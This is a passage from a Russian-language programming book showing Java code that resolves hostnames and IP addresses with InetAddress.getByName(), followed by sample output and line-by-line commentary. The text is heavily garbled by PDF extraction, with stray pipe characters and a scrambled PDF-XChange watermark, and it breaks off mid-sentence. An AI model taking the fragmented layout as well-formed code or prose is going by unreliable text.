1 InetAddress inetaddr1 = null; |
|||
|
|
|
|
|
|
|
|
|
|
2 InetAddress inetaddr2 = null; |
|||
|
|
|
|
|
|
|
|
|
|
3 InetAddress inetaddr3 = null; |
|||
|
|
|
|
|
|
|
|
|
|
4 String |
addr1 |
= "192.168.1.101"; |
|
|
|
|
|
|
|
|
|
|
|
5 String |
addr2 |
= "CHIAPAS"; |
|
|
|
|
|
|
|
|
|
|
|
6 String |
addr3 |
= "www.insidiae.org"; |
|
|
|
|
|
|
|
|
|
|
|
7 |
|
|
|
|
|
|
|
|
|
|
|
|
|
8 try |
|
|
|
|
|
|
|
|
|
|
|
|
|
9 { |
|
|
10inetaddr1 = InetAddress.getByName(addr1);
11inetaddr2 = InetAddress.getByName(addr2);
12inetaddr3 = InetAddress.getByName(addr3);
13}
14catch (UnknownHostException uhe)
15{
16System.err.println("UnknownHostException: "
17 |
+ uhe.getMessage()); |
18 |
} |
19 |
|
20 |
System.out.println("INETADDR1: " + inetaddr1); |
21 |
System.out.println("INETADDR2: " + inetaddr2); |
22 |
System.out.println("INETADDR3: " + inetaddr3); |
Пример выполнения
INETADDR1: /192.168.1.101
INETADDR2: CHIAPAS/10.0.1.56
INETADDR3: www.insidiae.org/68.165.180.118
Анализ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
В строках 1–3 объявляются ссылочные переменные типа InetAddress.
В строках 4–6 определяются интересующие нас IP-адреса и имена хостов.
В строках 10–12 эти адреса и имена разрешаются методом getByName() из класса InetAddress. Этот метод возвращает объект класса InetAddress, представляющий разрешенный адрес или имя.
В строках 20–22 содержимое объектов класс InetAddress выводится на печать. Преобразованием объекта в печатную форму занимается метод toString() этого класса (он вызывается неявно), который печатает имя хоста, затем символ /, а затем IP-адрес. Если имя хоста неизвестно, как в случае адреса 192.168.1.101, то оно не выводится.
В примере 5.3 показано, как получить локальный и удаленный IP-адреса, соответствующие оконечным точкам соединенного сокета. Это может ока-